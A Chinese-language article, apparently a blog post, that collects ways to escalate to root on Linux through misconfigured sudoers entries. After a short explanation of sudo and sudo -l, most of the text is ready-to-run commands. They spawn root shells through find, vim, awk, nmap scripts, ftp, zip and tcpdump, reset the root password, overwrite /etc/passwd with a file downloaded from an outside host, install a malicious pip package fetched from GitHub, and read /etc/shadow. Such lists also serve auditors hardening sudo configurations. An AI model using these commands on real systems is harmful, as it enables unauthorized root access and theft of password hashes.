简介
sudo用于提升权限到指定用户并执行对应的命令, 在企业生产环境中, sudoers的错误配置到处可见, 本文持续收集可通过sudo提权的指令集合.
ps://由于系统文件或开源软件的sudoers配置错误的利用方式较成熟, 因此很多linux系统已经进行相应的内核级限制, 无法直接用于提权, 此时需要开启脑洞实现提权.
文章目录
- Whit is Sudo?
- sudo提权
What is Sudo?
Sudo( su “do” )是一款开源的软件, 运行于*nix
系统上, sudo涉及授权账户和被授权账户, 授权账户下发权限到被授权账户上; 被授权账户使用该命令可使用授权权限运行对应的命令, 默认授权账户为root.
sudo命令依赖于sudo配置, 配置常存储于/etc/sudoers
或ldap
中, 普通用户可通过sudo -l
命令查看是否拥有sudo权限和对应的命令.
sudo -l
的结果如下:
sudoers配置的内容包括: 命令、用户、用户组、密码四块内容, 本文仅展示最简单的几种:1
2
3
4
5
6
7
8
9
10
11
12# 无 sudo 权限
对不起,用户 execute 不能在 archlinux 上运行 sudo。
# root的 sudo权限: sudo执行不需要密码, 且以root权限运行/bin/cat命令
(root) NOPASSWD: /bin/cat
# 运行sudo命令
$ sudo /bin/cat /etc/shadow
# storm的 sudo权限: sudo执行需要密码, 且以storm权限执行
(storm) /bin/cat
# 运行sudo命令式需要添加-u指定用户
$ sudo -u storm /bin/cat /etc/shadow
sudo提权
错误的配置/etc/suduers
文件可导致提权, 此处记录可利用sudoers
错误配置进行提权的命令.
- find
- nano
- vi/vim
- man
- awk
- less
- more
- wget
- apache2
- nmap
- ftp
- tcpdump
- pip
- zip
find
成熟的利用方法:1
$ sudo find /etc/passwd -exec /bin/bash \;
(find_escalate_root)[find.png]
有些linux系统的find命令虽然设置了suid标志位却无法通过上述方法进行提权, 此时需要考虑用别的方法来进行提权, 如:1
$ find /etc/shadow -exec cat /etc/shadow \;
(with_suid_escalate_root)[find_suid.png]
nano
nano修改文件导致提权的方法很多, 此处以修改/etc/passwd
中当前用户的uid
、gid
值来实现提权.1
2
3
4
5
6# 用nano编辑/etc/passwd文件
$ sudo nano /etc/passwd
# 修改当前账号的uid、gid均为0
# 用su命令重新切换到当前账号, 即可进入root账号
$ su execute
vi/vim
vim运行bash命令提权1
2# -c: 加载第一个文件后执行 -c参数后的命令
$ sudo vim -c "/bin/bash"
with_vim_sudoers_escalate_root
有些linux系统的vim设置SUID位后, 无法用上述方法进行提权, 此时可通过vim命令修改/etc/sudoers
文件, 增加当前用户的sudo权限实现提权, 也可以通过修改/etc/passwd
文件中当前用户的id实现提权.
1.编辑/etc/passwd
文件
with_suid_vim_escalate_root_1
with_suid_vim_escalate_root_2
with_suid_vim_escalate_root_3
2.重新登陆系统获取root权限
with_suid_vim_escalate_root_4
awk
1 | $ sudo awk 'BEGIN {system("/bin/bash")}' |
less/more/man
1 | # 进入man帮助页 |
wget
wget用于下载文件, 可指定保存文件位置, 设置了sudo权限的wget可通过覆盖文件实现提权, 此处以覆盖/root/.ssh/
为例, 还可以覆盖/etc/passwd
1
2
3
4# 下载passwd文件覆盖/etc/passwd
$ sudo wget http://172.16.88.130/passwd -O /etc/passwd
# 切换到passwd中的用户
$ su hack
apache2
1 | # 通过apache2的命令行工具, 无法直接get shell或修改系统文件, 但可读取文件, 通过爆破密码登陆系统. |
nmap
1.老版本的nmap具有交互式命令行, 可通过下面的命令提权1
2
3[execute@archlinux ~]# sudo nmap --interactive
nmap> !bash
[root@archlinux ~]#
2.新版本的nmap无交互式命令行, 可通过nse脚本进行提权1
2# .nse后缀非必须选项
$ echo "os.execute('/bin/bash')" > /tmp/pri.nse && sudo nmap --script=/tmp/pri.nse
ftp
1 | $ sudo ftp |
tcpdump
tcpdump用于网络抓包, 参数-z
可指定抓包结束后执行的命令, -Z
指定使用什么账户来执行(在4.0.0版本中被引入)1
2
3
4
5
6# 编写提权exp
$ echo "(echo 'owefsad';sleep 2;echo 'owefsad')|passwd">/tmp/.pri
# 赋予执行权限
$ chmod +x /tmp/.pri
# 抓包提权
$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.pri -Z root
pip
pip是python安装模块的命令, python中安装模块时可执行操作系统命令, 因此通过构造提权的pip包即可提权.
大佬公开的git地址:https://github.com/0x00-0x00/FakePip1
2
3$ mkdir pri;cd pri
$ wget https://raw.githubusercontent.com/0x00-0x00/FakePip/master/setup.py
$ sudo pip install . --upgrade --force-reinstall
zip
zip是从第4篇文章中看到的挑战, 经过翻阅zip说明文档后, 使用下面的简单方法进行提权, 但是zip还有很多有意思的提权, 请在第5篇文章中查看.1
$ sudo zip -U /root/original-docs.zip -O /var/lib/extracted-docs.zip -T -TT '/bin/bash #'